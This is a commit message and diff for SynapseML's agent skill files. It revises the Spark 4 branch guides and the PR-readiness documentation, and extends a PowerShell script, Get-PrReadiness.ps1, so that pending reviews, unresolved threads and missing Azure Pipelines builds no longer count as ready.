Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * fix: count only submitted reviews as head coverage Addresses the review comment on Get-PrReadiness.ps1:259. $reviewsForHead matched on commit.oid alone. A pending review already carries the head's commit oid but has a null submittedAt, so an in-progress review would have satisfied automatedReviewCoversHead - reporting complete=true and releasing -WaitForReview while the review was still being written. That is the same premature all-clear this gate exists to prevent, so the filter now requires submittedAt as well as a matching oid. This is the third defect of this class found in this gate: substring login matching, then coverage decided by recency instead of commit, now coverage satisfied by an unsubmitted review. Each one made the check answer "yes" when the honest answer was "not yet". Verified: a live run still reports covers=True on the real head, and a simulated pending review carrying the head oid with a null submittedAt yields coversHead=False. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * fix: make complete mean complete; request a review at most once Addresses the review comment on Get-PrReadiness.ps1:293, plus a worse defect that comment exposed. The reported defect: under -WaitForReview, Get-PrSnapshot runs once per poll, so -RequestReview re-POSTed the reviewer request every cycle until coverage arrived - notification spam and a rate-limit risk. The request is now attempted at most once per PR per invocation, with the outcome recorded and reused. The defect that surfaced alongside it: completeness.complete tested $truncatedThreadComments, which counts comment-pagination truncation, not unresolved review threads. The two were conflated, so the field reported complete=true on this very PR while a review thread was open - the headline readiness signal giving an all-clear over outstanding review feedback. It now requires all of: no pagination truncation, an automated review covering the head, and zero unresolved threads, suppressed-for-head items, failed checks and pending checks. Pending is treated as unknown rather than passing. Verified against live #2650 with one thread open: the same input that previously produced complete=true now produces complete=false. readiness-gates.md documents what the flag now means, and says to trust the individual fields over the summary when they disagree - that flag has now been wrong in both directions. This is the fourth false all-clear found in this gate (substring login matching, coverage by recency, unsubmitted reviews counting as coverage, and now unresolved threads not counting at all). Every one resolved in the direction of declaring readiness that had not been established, which is worth recording as a property of the tool rather than four separate slips. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: restore the remaining searchable specifics from the branch guides Knowledge transfer was measured rather than assumed: 40 distinctive terms from AGENTS_spark4.0.md and AGENTS_spark4.1.md were tested against the skill, and six were absent. Five are restored here because each is the string an engineer would actually search for when hitting the failure: - spark.sql.ansi.enabled / spark.sql.ansi.doubleQuotedIdentifiers, and PARSE_SYNTAX_ERROR as the symptom when the second flag is missing - AdbGpuRuntime as the field that must not be bumped to DBR 18, with the reason (17.3 LTS ML ships Spark 4.0, 18.0 ML ships 4.1, so bumping makes the suite green by no longer testing this branch) - refs/pull//merge as the literal ADO fallback target, and why refs/heads/ fails (service-connection authorization) - ImageFeaturizerSuite as the ONNX OOM site, and the conda HTTP 403 in RTests vw The sixth, cloudpickle, is deliberately not restored. Both guides describe the Petastorm shim as working around "cloudpickle/petastorm breakage under Python 3.13". Reading the file disproved that: it contains no Python-version gating at all and reimplements pyarrow APIs Petastorm still calls. Restoring the term would restore the error, and the corrected framing is already recorded. Coverage after this change: 39/40, with the one omission reasoned above. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * fix: gate readiness on required checks being present, not just green A head whose Azure Pipelines build never queued reported failed=0 and pending=0 and scored complete, because an absent check is neither. On this pull request the GitHub Actions checks started 12s after the push and all passed, while the ADO build only appeared 3m17s later and only because a human commented `/azp run`. Between those points every mechanical gate read clean on a head that had no CI on it. Add `missingRequiredChecks` (prefix-matched, default `microsoft.SynapseML`) to the snapshot and to `complete`, extend `-WaitForReview` to wait for required checks as well as the review, and add `-RunPipeline` to post `/azp run` when the build is missing -- guarded to at most one comment per PR per invocation, mirroring `-RequestReview`, since the wait loop calls the snapshot every poll. Document that the build does not re-queue itself on a push, so every push needs its own comment, and that green Actions checks are not CI passing. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: make the spark4.0 GPU pool claim self-verifying Addresses both suppressed review comments on 0f2f9bd7f2, which reported the `synapseml-build-17.3-gpu` claim as stale. Measured instead of taken on trust, and the claim holds -- `git show` of core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilities.scala: ms/master 14.3-gpu / 14.3.x-gpu-ml-scala2.12 ms/spark4.0 (live) 17.3-gpu / 17.3.x-gpu-ml-scala2.13 ms/spark4.1 14.3-gpu / 18.0.x-gpu-ml-scala2.13 ms/sync/spark4.0-with-master 14.3-gpu / 17.3.x-gpu-ml-scala2.13 The reviewer read the sync branch as live `spark4.0` -- the same worktree-for-branch confusion this paragraph exists to warn about, made against the paragraph itself. So the wording was not wrong, it was not checkable: cite the file and the value, and the next reader can repeat the check in one command rather than deriving it from whichever tree is open. Record what #2646 actually changes here, since it is operating knowledge: the GPU pool moves to master's shared `14.3-gpu` resolved by `getPoolIdByNameAndNodeType`, while the CPU pool stays 17.3 and the GPU runtime stays 17.3.x. `spark4.1` already pairs `14.3-gpu` with an 18.0.x runtime, so the pool name identifies a warm node pool, not a DBR version. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --------- Co-authored-by: SynapseML CI Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .../references/branch-spark4-common.md | 177 ++++++++++-- .../references/branch-spark4p0.md | 68 ++++- .../references/branch-spark4p1.md | 23 +- .github/skills/synapseml-pr-loop/SKILL.md | 28 +- .../references/readiness-gates.md | 19 +- .../scripts/Get-PrReadiness.ps1 | 251 +++++++++++++++++- 6 files changed, 513 insertions(+), 53 deletions(-) diff --git a/.github/skills/synapseml-branches/references/branch-spark4-common.md b/.github/skills/synapseml-branches/references/branch-spark4-common.md index e5ee44bef73..5414fc1592c 100644 --- a/.github/skills/synapseml-branches/references/branch-spark4-common.md +++ b/.github/skills/synapseml-branches/references/branch-spark4-common.md @@ -2,8 +2,24 @@ Condensed from the branch guides developed in [#2645](https://github.com/microsoft/SynapseML/pull/2645) and -[#2646](https://github.com/microsoft/SynapseML/pull/2646). Verify every item -against the live target branch. +[#2646](https://github.com/microsoft/SynapseML/pull/2646). + +**Read this as describing the branches as of those two sync PRs, not as a +snapshot of the live branches.** Both guides were written on the sync branches, +so they describe the merged result. Until those PRs land, a live branch can lack +things described here — at the time of writing, live `spark4.0` has no +`OpenAIPromptPythonOverrides.scala`, no `test_http_package.py` / +`test_package_exports.py`, no `new_ml_pipeline_stage` in generated R, and its +own GPU pool (`DatabricksUtilities.scala` sets +`GpuPoolName = "synapseml-build-17.3-gpu"` there, not master's +`synapseml-build-14.3-gpu`). Verify every item against the live target branch +with `git show :` or `git grep `; do not read it +out of a local sync worktree, which is a PR result rather than branch state. +That specific mistake produced several wrong claims in earlier revisions of this +file, and an automated reviewer then made it against this very paragraph — +reporting the GPU pool sentence as stale after reading the sync branch. Quote +the file and value you checked, so the next reader can repeat the check instead +of re-deriving it from whatever tree they happen to have open. ## Purpose and sync @@ -11,45 +27,156 @@ against the live target branch. work on `master`, then merge it into the port branch. - Resolve conflicts per hunk and compare content with the merge base and `master`; blanket `ours`/`theirs` and reachability are insufficient. -- Diff `spark4.0` and `spark4.1` before debugging or merging. Shared fixes often - already exist on the sibling branch, but version-specific changes must not be - copied blindly. +- Diff `spark4.0` and `spark4.1` before debugging or merging + (`git diff spark4.0 spark4.1 -- `). `spark4.1` descends from `spark4.0`'s + upgrade commit and is maintained more actively, so it has usually already hit + and solved the same problem — it has directly supplied the fixes for R parsing, + the R Spark connection, nested-stage loading in R, the generated-wrapper + `super()` bug, the stale `__init__.py` shims, the local setup skill, the + notebook runtime, and a failing training test. This is the single + highest-value habit on these branches. Two cautions when porting: substitute + the target branch's version strings, and confirm the fix is not specific to + the source branch's Spark/Python version. ## Common deliberate differences from master -- Spark 4 uses Scala 2.13 and Java 17-era tooling. Preserve branch-specific - dependency comments, Java configuration, and removal of obsolete CMS flags. +- Spark 4 uses Scala 2.13 and Java 17-era tooling, so generated Python lands in + `target/scala-2.13/generated/src/python/` rather than master's `scala-2.12` + path. `tools/docker/*/Dockerfile` set `JAVA_HOME` to Java 17 and + `.github/workflows/pr-validation.yml` uses JDK 17. `pipeline.yaml` drops + master's `-XX:+UseConcMarkSweepGC -XX:+CMSClassUnloadingEnabled` from + `SBT_OPTS`: CMS was removed in Java 17 and the JVM refuses to start with those + flags, so a sync that restores them fails before any test runs. +- `environment.yml` moves pins forward for the branch's Python, and each pin + carries a comment saying why. Those comments are the mechanism that stops a + later sync from "restoring" master's value, so preserve them through conflict + resolution. The recurring reasons: master's `pip` is too old to install for + these interpreters, `torch`/`torchvision` need their first releases supporting + the version, and `pandas`/`horovod` come from interpreter-specific wheel URLs. +- The `pyarrow` and `mlflow` pins are coupled, and the pinned versions are not + the same on every branch — read both live values on the branch you are editing + before changing either. The bound comes from MLflow: `mlflow==2.21.3` declares + `pyarrow<20,>=4.0.0`, so on a branch pinning that MLflow, `pyarrow` must stay + under 20 or move together with `mlflow`; bumps inside the bound are fine. Older + MLflow pins carry different bounds, so check the pinned version's own metadata + rather than assuming this one. Do not trust the inline comments: they disagree + with each other and with the pins they sit next to. - Scala 2.13 collection boundaries must produce immutable `Seq` values; keep the central `asImmutableCollection` conversion rather than per-service fixes. -- Preserve Spark 4 adaptations for SAR encoders/self-joins, - `Wrappable.safeGetDefault`, and the non-NaN classifier fixture. -- `OpenAIPrompt` is an internal generated wrapper. Generated overrides use - zero-argument `super()` because the public class name is not in that module. -- `PythonInitMerger` makes hand-written `__init__.py` files live package code. - Keep the HTTP initializer empty, remove duplicate generated exports, and do - not narrow `__all__` with hand-maintained class lists. -- R generation requires ANSI double-quoted identifiers, the validated sparklyr +- Preserve the Spark 4 adaptations. In `SAR.scala`/`SARModel.scala` the affinity + pairs use a named `case class` with explicit struct fields because Spark 4 + rejects the old `Seq[Row]` UDF shape with `UnboundRowEncoder`, and the join + column is qualified (`col("sarUserFactors.flatList")`) because a self-join now + trips `DetectAmbiguousSelfJoin`. `Wrappable.safeGetDefault` guards + `getDefault`, which throws on Spark 4 where Spark 3 returned a default. + `VerifyTrainClassifier`'s vector fixture no longer feeds `Double.NaN` to the + trainer: that test is about training on a vector column, not about NaN, so the + value was replaced rather than the assertion weakened. +- `OpenAIPrompt` sets `pyInternalWrapper = true`, so codegen emits + `class _OpenAIPrompt` and a hand-written `OpenAIPrompt.py` supplies the public + name. Python emitted into that class must use zero-argument `super()`; a + hardcoded `super(OpenAIPrompt, self)` raises `NameError` because that name does + not exist inside the generated module. See `OpenAIPromptPythonOverrides.scala`, + which is on `spark4.1` and reaches `spark4.0` with #2646. +- `PythonInitMerger` makes hand-written `__init__.py` files live package code by + splicing them *after* the generated imports; before it, codegen overwrote them + and their contents were inert, so a stale one is now a real bug. Keep the HTTP + initializer empty — it listed `HTTPFunctions` and `ServingFunctions`, which are + modules of free functions with no same-named class, and the failed import broke + `PythonTests core` plus seven website samples. Remove initializers that only + duplicate generated exports, and do not narrow `import *` by redefining + `__all__` as a hand-maintained list. Keep the ones that add exports codegen + does not emit. `test_http_package.py` and `test_package_exports.py` guard this + where they exist; they are not on live `spark4.0` yet and arrive there with + #2646, so on that branch the policy is currently unenforced. +- `cyber/utils/spark_utils.py` differs between the branches without either form + being version-specific: `spark4.0` builds its indexed frame with + `rdd.toDF(schema)` and `spark4.1` uses `spark.createDataFrame(rdd, schema)`. + `toDF` was measured working on both 4.0.1 and 4.1.1, so this is a portable + choice rather than a hazard. Adopting 4.1's form only reduces reliance on the + monkey-patched RDD API, which does not exist under Spark Connect, and buys + little on its own while the surrounding `df.rdd.zipWithIndex()` remains an RDD + call. +- R generation requires ANSI double-quoted identifiers — `RTestGen.scala` sets + `spark.sql.ansi.enabled=true` and `spark.sql.ansi.doubleQuotedIdentifiers=true`, + because sparklyr emits `SELECT 0L AS "class", ...` and without the second flag + Spark 4 reads `"class"` as a string literal and fails with + `PARSE_SYNTAX_ERROR`. It also requires the validated sparklyr 1.9.5 pin from the PR snapshots, `SPARK_HOME` connection behavior, and JVM - loading of nested stages. Interleaved failures with successful tests between - them point to selection/proxy behavior, not a dead Spark session; read the - backtrace. + loading of nested stages. That pin is not yet everywhere — check + `environment.yml` on your branch, since a branch still on sparklyr 1.9.3 has + the failure below as a live concern rather than as history. Where 1.9.5 is + applied, keep it paired with `r-base=4.4`: 69/69 `RTests` was measured for the + combination, not for the sparklyr pin alone. Interleaved failures with + successful tests between them point to selection/proxy behavior, not a dead + Spark session; read the backtrace. Under sparklyr 1.9.3 with dbplyr 2.6 the + tell is a frame chain through `dbplyr:::select.tbl_lazy`, + `sparklyr:::tidyselect_data_proxy.tbl_spark` + and `simulate_vars_spark`, which surfaces as `invoke_static`/`hive_context` + being called on `NULL` and reads misleadingly like a dead session. +- `RCodegenSuite` asserts cheap R generation invariants without a full pipeline + run, but it is not present on every branch — `spark4.1` has it and `spark4.0` + does not yet. Check for it before relying on it, run it before spending a + pipeline run on an R failure, and keep its assertions in step when changing + generated R. +- Nested stages load off the JVM on branches that have adopted it — `spark4.1` + has, live `spark4.0` has not yet. `PipelineStageWrappable.rLoadLine` emits + `sparklyr:::new_ml_pipeline_stage(invoke(spark_jobj(x), "getStages")[[1]])` + rather than `ml_stages(x)[[1]]`. `new_ml_pipeline_stage` is sparklyr-internal + but has an identical signature in every release from v1.8.0 to v1.9.5. + `EstimatorParam`, `ModelParam`, `PipelineStageParam` and `TransformerParam` all + inherit this single implementation — do not reintroduce per-class overrides, + and keep the three `rLoadLine` assertions in + `VerifyModelParam`/`VerifyPipelineStageParams` in step with it. Be accurate + about its status: on a branch whose R tests died earlier on `ml_load`, this + line was never reached, so it is alignment with the working branch rather than + a proven fix. ## Runtime and CI -- Spark 4 Databricks builds share scarce GPU capacity. Queue them sequentially - and use sibling-branch timing/results as a control before blaming capacity. -- `areLibrariesInstalled == false` can mean install timeout rather than a - failed library. Read statuses and notebook duration before classifying it. +- Spark 4 Databricks builds contend for scarce GPU capacity, and the pool names + differ by branch — read them from `pipeline.yaml`/the Databricks test config on + your branch rather than assuming. Instance pools are runtime-agnostic, so a + GPU pool is often deliberately shared across branches to avoid duplicating + scarce quota; where it is shared it holds three workers + (`GpuWorkersPerRun` 1 x `GpuConcurrentRuns` 3), so two concurrent builds can + exhaust it. Queue Spark 4 builds sequentially. Where the pool *is* shared, the + sibling branch is a free control: an outcome that tracks the branch rather + than the timing is a code difference, not contention. +- `areLibrariesInstalled == false` is a timeout, not a capacity verdict, and the + logic inverts the way people expect. The check *throws* `Library Installation + Failure` with the offending statuses if any library reports `FAILED`, so + returning `false` means the opposite: nothing failed, the libraries simply had + not all reached `INSTALLED` before the retry budget ran out (`60 * 10` attempts + at 1s, about 10 minutes). A slow install reads exactly like a starved pool. + Read statuses and notebook duration before classifying it. +- `DatabricksCPUStreamingTests` exists only on the Spark 4 branches, and whether + it is scheduled varies by branch — read `pipeline.yaml` on the branch you are + working on rather than assuming. It is a separate class because the streaming + notebook's `server.stop()` cancels concurrent SparkContext jobs, so it needs its + own cluster instead of a slot on an existing leg, which is why scheduling it + costs pool capacity. The in-repo comment attributes that behaviour to Spark 4.0 + and it has not been re-confirmed on 4.1. If a sync drops its leg while leaving + the class defined, that is lost coverage rather than a cleanup: the class is + still there, so nothing fails to compile and nothing reports the gap. +- Petastorm calls pyarrow APIs the pinned pyarrow no longer ships, so Horovod's + Spark backend needs a compatibility layer. Only `spark4.1` has one. This is a + library-version problem, not a Python-version one, so a branch on the same + pyarrow is not exempt. Deep-learning unit tests will not reveal the gap: + without a usable Horovod the estimators are stubbed and the Petastorm path + never runs. - `/azp run` queues these targets. The ADO pull-request trigger filter allowed only `master` until 2026-08-17; it now covers `master`, `spark3.5`, `spark4.0` and `spark4.1`, verified by builds recording `reason=pullRequest` rather than `reason=manual`. If a comment produces no build, re-read the definition's trigger filter before assuming flakiness, and fall back to - queueing the PR merge ref, never `refs/heads/`. + queueing the PR merge ref (`refs/pull//merge`), never + `refs/heads/`, which fails service-connection authorization. - GitHub checks compile/lint but do not replace full Azure, Databricks, native, R, or service validation. -- Intermittent ONNX OOM and R package HTTP failures require log evidence and a - controlled rerun; they are not automatic product regressions or exemptions. +- Intermittent ONNX OOM (`ImageFeaturizerSuite`) and R package HTTP failures + (a conda `HTTP 403` in `RTests vw`) require log evidence and a controlled + rerun; they are not automatic product regressions or exemptions. ## Before merging a sync diff --git a/.github/skills/synapseml-branches/references/branch-spark4p0.md b/.github/skills/synapseml-branches/references/branch-spark4p0.md index 4f16dc35868..aa5505960f9 100644 --- a/.github/skills/synapseml-branches/references/branch-spark4p0.md +++ b/.github/skills/synapseml-branches/references/branch-spark4p0.md @@ -10,12 +10,33 @@ templatized version of the branch context from Scala 2.13.16, Java 17, Python 3.12, and Databricks 17.3; verify live files. - Check `spark4.1` before debugging from scratch because it is the more actively maintained descendant, then prove any candidate fix is not 4.1-specific. +- Live state lags the #2646 description. In `DatabricksUtilities.scala` the live + branch pairs its own GPU pool with a matching runtime -- + `GpuPoolName = "synapseml-build-17.3-gpu"` with + `AdbGpuRuntime = "17.3.x-gpu-ml-scala2.13"`, resolved by `getPoolIdByName` -- + and does not yet carry `OpenAIPromptPythonOverrides.scala`, the `__init__.py` + guard tests, or the `new_ml_pipeline_stage` R loading. #2646 brings those, and + also moves the GPU pool to master's shared `synapseml-build-14.3-gpu` + (resolved by `getPoolIdByNameAndNodeType`, which takes a node type and minimum + capacity) while keeping the 17.3 CPU pool and the 17.3.x GPU runtime. That + mixed pairing is not an oversight: `spark4.1` already runs master's + `14.3-gpu` pool against an `18.0.x-gpu-ml-scala2.13` runtime, so the pool name + identifies a warm node pool rather than a DBR version. Check the live branch + before assuming any of it. ## Core differences -- Keep NumPy 1.26.4 pinned: Python 3.12 has wheels and pandas 2.0.3 is not - compatible with the NumPy 2 ABI. -- Do not copy Python 3.13 petastorm/cloudpickle shims without branch evidence. +- NumPy is currently unpinned here, as it is on 4.1. If you reintroduce a pin, + pin for a reason you can state: Python 3.12 has NumPy 1.26.4 wheels, and + pandas 2.0.3 is not compatible with the NumPy 2 ABI, so a pin is warranted + only while something in the resolved set actually requires it. +- This branch has `_horovod.py` but not `_petastorm_compat.py`, so it uses the + plain Horovod `SparkBackend` rather than 4.1's Petastorm-compatible subclass. + That gap is real rather than version-driven: the shim restores pyarrow APIs + Petastorm still calls, and this branch currently resolves to a *newer* pyarrow + than 4.1 does, so those APIs are at least as absent here. Confirm both pins + from `environment.yml` on each branch before reasoning about it. See + [branch-spark4-common.md](branch-spark4-common.md). - `LongOffset` remains under `...execution.streaming`, not `.runtime`. - Spark 4.0 returns `bytearray` for Python `BinaryType`; it does not require the 4.1 `np.frombuffer` workaround. @@ -24,20 +45,47 @@ templatized version of the branch context from ## Runtime and CI -- Fabric E2E remains disabled because Fabric has no managed Spark 4.0 runtime. +- Fabric E2E remains disabled because Fabric has no managed Spark 4.0 runtime — + Fabric Runtime 2.0 went GA on Spark 4.1. This is real lost coverage rather + than a cosmetic skip, and it should stay disabled here until a Spark + 4.0-capable Fabric runtime exists, which may never happen; the more likely + resolution is that this branch is superseded by `spark4.1`. - At #2646, two GPU fine-tune notebooks failed because no Horovod wheel matched - DBR 17.3's PyTorch. Do not switch to DBR 18 merely to turn them green; that - would test Spark 4.1 instead of this branch. Revalidate this known gap. + DBR 17.3's PyTorch. Do not switch `AdbGpuRuntime` to DBR 18 merely to turn + them green; DBR 17.3 LTS ML ships Spark 4.0 and 18.0 ML ships Spark 4.1, so + bumping it would test Spark 4.1 instead of this branch and make the suite + green by no longer testing what it exists to test. Revalidate this known gap. +- Two of four GPU notebooks failing is that gap's expected shape. Check the + failing count and which notebooks, not the job's red/green, before calling it + a regression. The Horovod wheel is the first blocker and it masks the missing + Petastorm layer noted above, so fixing the wheel alone should not be expected + to turn these notebooks green. Confirm each step from the notebook's stderr + output rather than inferring it. - Avoid pinning runtime-provided torch/torchvision without a demonstrated need; - incompatible pins can trigger multi-gigabyte CUDA downgrades and timeouts. + incompatible pins can trigger multi-gigabyte CUDA downgrades and timeouts. The + recorded instance was `torchvision==0.17.0` in `GPULibraries`, which + hard-requires `torch==2.2.0`: pip had to *downgrade* the runtime's much newer + torch and pull large CUDA wheels, slow enough to exhaust the install budget but + never reporting `FAILED`. The GPU ML runtime already ships both, so the pin + bought nothing. +- When the fine-tune notebooks were investigated, the notebooks and + `GPULibraries` were byte-identical to `spark4.1` and still failed here while + passing there, and swapping in `spark4.1`'s sha256-pinned wheel changed nothing + measurable (71.6s to 60.6s, 56.2s to 47.0s — the same failure in the same + window). Treat that swap as alignment with the working branch, not a fix. - A sub-minute GPU notebook failure occurs during dependency setup, before training. Use run timing and stderr rather than attributing it to the model. -- Confirm target-branch automation actually queued; this branch historically - had no PR checks even when `master` contained corrected filters. +- Confirm target-branch automation actually queued rather than assuming the + comment was enough; see + [branch-spark4-common.md](branch-spark4-common.md) for how to tell a + trigger-driven build from a hand-queued one. ## Do not port from `spark4.1` - 4.1 `LongOffset` import, BinaryType `np.frombuffer` workaround, Python 3.13 - shims, unpinned NumPy, or version strings. + wheels, or version strings. - Fabric Runtime 2.0 enablement. - Any runtime/dependency change whose only evidence is a green 4.1 build. +- The Petastorm compatibility layer is not on this list. It is a back-port + candidate, not a 4.1-only change, but it needs validation on real 4.0 rather + than adoption on suspicion. diff --git a/.github/skills/synapseml-branches/references/branch-spark4p1.md b/.github/skills/synapseml-branches/references/branch-spark4p1.md index 0ab20ffaf35..3e0d1a054d4 100644 --- a/.github/skills/synapseml-branches/references/branch-spark4p1.md +++ b/.github/skills/synapseml-branches/references/branch-spark4p1.md @@ -13,9 +13,13 @@ templatized version of the branch context from ## Core differences -- Python 3.13 requires newer wheels, an intentionally unpinned NumPy, and the - petastorm/cloudpickle/Horovod compatibility shims. Preserve explanatory pin - comments through syncs. +- Python 3.13 requires newer wheels and an intentionally unpinned NumPy. + Preserve explanatory pin comments through syncs. +- The Petastorm/Horovod compatibility layer is separate from that: it restores + pyarrow APIs Petastorm still calls, which the pinned pyarrow no longer + provides. Do not describe it as a Python 3.13 workaround — that framing makes + `spark4.0` look exempt when it is not. `spark4.0` pins a different, newer + pyarrow, so those APIs are missing there too. - `LongOffset` moved to `...execution.streaming.runtime`; the 4.0 import does not compile here. - Spark 4.1 returns Python `bytes` for `BinaryType`; `ImageTransformer` uses @@ -28,9 +32,16 @@ templatized version of the branch context from - Fabric Runtime 2.0 supports Spark 4.1, so the old "unsupported runtime" reason for disabling Fabric E2E is stale. Re-enable only in a dedicated PR: request Spark 4.1 in workspace creation, restore the pipeline condition, and - validate with real Fabric capacity/service connection. -- Databricks CPU/GPU validation uses 18.x-era runtimes. Run Spark 4 builds - sequentially because the GPU pool is shared. + validate with real Fabric capacity/service connection. The workspace-creation + payload lives in the Fabric test package's `FabricOperations.scala`, which + hardcodes `'SparkVersion': '3.5'` and must request `'4.1'`. That value is + hardcoded identically on `master`, `spark4.0` and `spark4.1`, so changing it + here does not alter master's behaviour. It also needs a Fabric capacity in the + `sempy-integration-region` that can provision Runtime 2.0 workspaces, which is + the one prerequisite not discoverable from the code. +- Databricks CPU/GPU validation uses 18.x-era runtimes: CPU pool + `synapseml-build-18.0`, GPU pool `synapseml-build-14.3-gpu`. Run Spark 4 builds + sequentially because the GPU pool is shared with `master` and `spark4.0`. - `DatabricksCPUStreamingTests` was unscheduled pending capacity and notebook work; verify rather than silently accepting the omission. - Master compatibility replay commonly applies release-relevant patches here diff --git a/.github/skills/synapseml-pr-loop/SKILL.md b/.github/skills/synapseml-pr-loop/SKILL.md index 649fa1998c6..ca803d5e71a 100644 --- a/.github/skills/synapseml-pr-loop/SKILL.md +++ b/.github/skills/synapseml-pr-loop/SKILL.md @@ -75,7 +75,16 @@ is complete and green. - Follow the Spark and performance gates in [references/spark-performance.md](references/spark-performance.md). - Reply in the existing thread with the fix and evidence, then resolve it. - Re-audit after every push because new Copilot comments may appear. +- Re-audit after every push. Automated review is asynchronous and re-runs per + commit, so auditing immediately after pushing reads the *previous* review and + reports a false all-clear. Wait until the newest automated review's commit + equals the pushed head, then audit; poll rather than checking once. +- Suppressed comments are not review threads. They appear only inside a + collapsed section of the review body, so a `reviewThreads` query returns zero + while they exist, and they have no thread to reply to or resolve. Read every + automated review body for the current head, and address them in the follow-up + commit message or a PR comment. Treat them as ordinary findings: they are + suppressed for confidence, not for correctness. ### 5. Add proof-oriented tests @@ -107,6 +116,14 @@ is complete and green. ID. A trigger-driven build records `reason=pullRequest`; one you queued yourself records `reason=manual`, which is the quickest way to tell whether the trigger really fired or you merely re-ran it by hand. +- Do this after **every** push, not once per pull request. The build does not + re-queue itself when the head moves, so the previous run's result belongs to + code that no longer exists. The GitHub Actions checks do re-run on each push + and go green within a couple of minutes, which makes a head with no Azure + Pipelines build on it look fully checked; an absent check is neither failed + nor pending, so nothing reports it. Verify the build against the head SHA by + name, or run `Get-PrReadiness.ps1 -RunPipeline` to post the comment + automatically when it is missing. - If no build appears, check the pipeline definition's own pull-request trigger rather than assuming a transient failure. That trigger can be defined in the pipeline UI, in which case it overrides the `pr:` block in `pipeline.yaml` @@ -125,8 +142,13 @@ is complete and green. ### 8. Final readiness loop -Run `Get-PrReadiness.ps1` again and confirm every gate in -[references/readiness-gates.md](references/readiness-gates.md). +Run `Get-PrReadiness.ps1 -PullRequest -WaitForReview -RunPipeline` +after the final push and confirm every gate in +[references/readiness-gates.md](references/readiness-gates.md). Those two +switches cover the asynchronous gaps that a bare snapshot reports as clean: the +automated review has not arrived yet, and the Azure Pipelines build has not been +asked to start. Both leave the same signature -- nothing failed, nothing +pending, nothing there. For multiple PRs, after each merge: diff --git a/.github/skills/synapseml-pr-loop/references/readiness-gates.md b/.github/skills/synapseml-pr-loop/references/readiness-gates.md index bfa82d833cd..c5ecd26b1a5 100644 --- a/.github/skills/synapseml-pr-loop/references/readiness-gates.md +++ b/.github/skills/synapseml-pr-loop/references/readiness-gates.md @@ -71,13 +71,28 @@ by current-head evidence. - No blocking review decision, requested-change vote, ownership gate, or required coverage failure remains. - Suppressed/minimized Copilot feedback was read and either fixed or rebutted - with evidence. -- Latest review covers the final head. + with evidence. Read it from the review body for the current head; it never + appears as a review thread, so a zero-thread query does not clear this gate. +- Latest automated review covers the final head, compared by commit rather than + by recency. A review produced before the last push does not clear the two + gates above, because it never saw that code. - Targeted tests, compile, test compile, style, Black, codegen, Python, and port-branch compatibility pass as applicable. - Full Azure Pipelines and required GitHub checks are complete with zero unexplained failures or pending jobs. +- The Azure Pipelines build is present on the current head at all. It does not + queue itself on a push here, so every push needs its own `/azp run`; a head + that never got one carries only the GitHub Actions checks, and those going + green is not CI passing. An absent check is neither failed nor pending, so it + is invisible to both of those gates -- confirm the build by name against the + head SHA, not by the absence of red. - Skips are expected and documented; a skipped required scenario is a blocker. +- `Get-PrReadiness.ps1` reports these as `completeness.complete`, which is true + only when comment pagination was not truncated, an automated review covers the + head, and unresolved threads, suppressed-for-head items, missing required + checks, failed checks and pending checks are all zero. Treat a pending check as + unknown rather than passing. Trust the individual fields over the summary when + they disagree: that flag has been wrong before, in both directions. ## Honest confidence language diff --git a/.github/skills/synapseml-pr-loop/scripts/Get-PrReadiness.ps1 b/.github/skills/synapseml-pr-loop/scripts/Get-PrReadiness.ps1 index 481692f102c..2f9d02462fd 100644 --- a/.github/skills/synapseml-pr-loop/scripts/Get-PrReadiness.ps1 +++ b/.github/skills/synapseml-pr-loop/scripts/Get-PrReadiness.ps1 @@ -6,15 +6,80 @@ and review bodies containing suppressed comments. Review threads and reviews are fully paginated, and the emitted `completeness` object reports page counts plus any thread whose comments were truncated, so an incomplete - snapshot is visible rather than silent. It does not make the readiness - decision; use the skill's evidence gates for that judgment. Output can - contain review content; keep it local or redact it before sharing. + snapshot is visible rather than silent. + + Automated review is asynchronous, so a snapshot taken right after a push + describes the previous head and can report zero findings for code nobody has + reviewed yet. `automatedReviewCoversHead` compares the newest automated + review's commit with the current head and gates `complete`, and + `suppressedReviewBodiesForHead` narrows suppressed feedback to that head. + Poll until it is true rather than trusting a single clean snapshot. + + A pull request that was never reviewed at all reports the same zero findings, + so `-RequestReview` asks for one as a fallback. Review is normally triggered + automatically, so the usual need is not to ask but to wait: `-WaitForReview` + blocks until the review of the current head arrives, instead of returning a + premature all-clear and leaving a human to notice the comments later. + Suppressed comments are reported too: they live inside the review body rather + than as review threads, so a thread query alone never surfaces them. + + Checks are reported by absence as well as outcome. `failedChecks` and + `pendingChecks` can only describe checks that exist, so a head whose build + never started scores zero in both and reads as finished; + `missingRequiredChecks` catches that and gates `complete`. The Azure DevOps + build is the usual casualty because it does not queue itself on a push -- it + waits for an `/azp run` comment -- so `-RunPipeline` posts one. + + It does not make the readiness decision; use the skill's evidence gates for + that judgment. Output can contain review content; keep it local or redact it + before sharing. #> param( [Parameter(Mandatory)] [int[]]$PullRequest, - [string]$Repo = "microsoft/SynapseML" + [string]$Repo = "microsoft/SynapseML", + + # Logins whose reviews count as automated coverage of the head commit. Matched + # exactly, with an optional "[bot]" suffix, so a human account that merely + # contains one of these words is never mistaken for the reviewer. Defaults to + # this repo's reviewer bot only: shorter generic logins such as "copilot" are + # registerable by humans, and an exact match on one of those would count a + # human review as automated coverage. Pass -AutomatedReviewer to extend. + [string[]]$AutomatedReviewer = @("copilot-pull-request-reviewer"), + + # Block until the automated review of the current head arrives. Review is + # triggered automatically on push but lands afterwards, so a snapshot taken + # immediately reports zero findings for code nobody has reviewed yet. Waiting + # here keeps that from being mistaken for a clean result. + [switch]$WaitForReview, + + [ValidateRange(1, 240)] + [int]$TimeoutMinutes = 20, + + [ValidateRange(5, 600)] + [int]$PollSeconds = 60, + + # Fallback only. Review is normally triggered automatically; use this when a + # pull request has somehow never been reviewed at all, which reports the same + # zero findings as a clean review. + [switch]$RequestReview, + + # Handle used when requesting that review. This is the requestable handle, not + # the login the submitted review is attributed to. + [string]$ReviewerHandle = "Copilot", + + # Checks that must be PRESENT on the head commit, matched as a name prefix so + # one entry covers a pipeline's several legs. 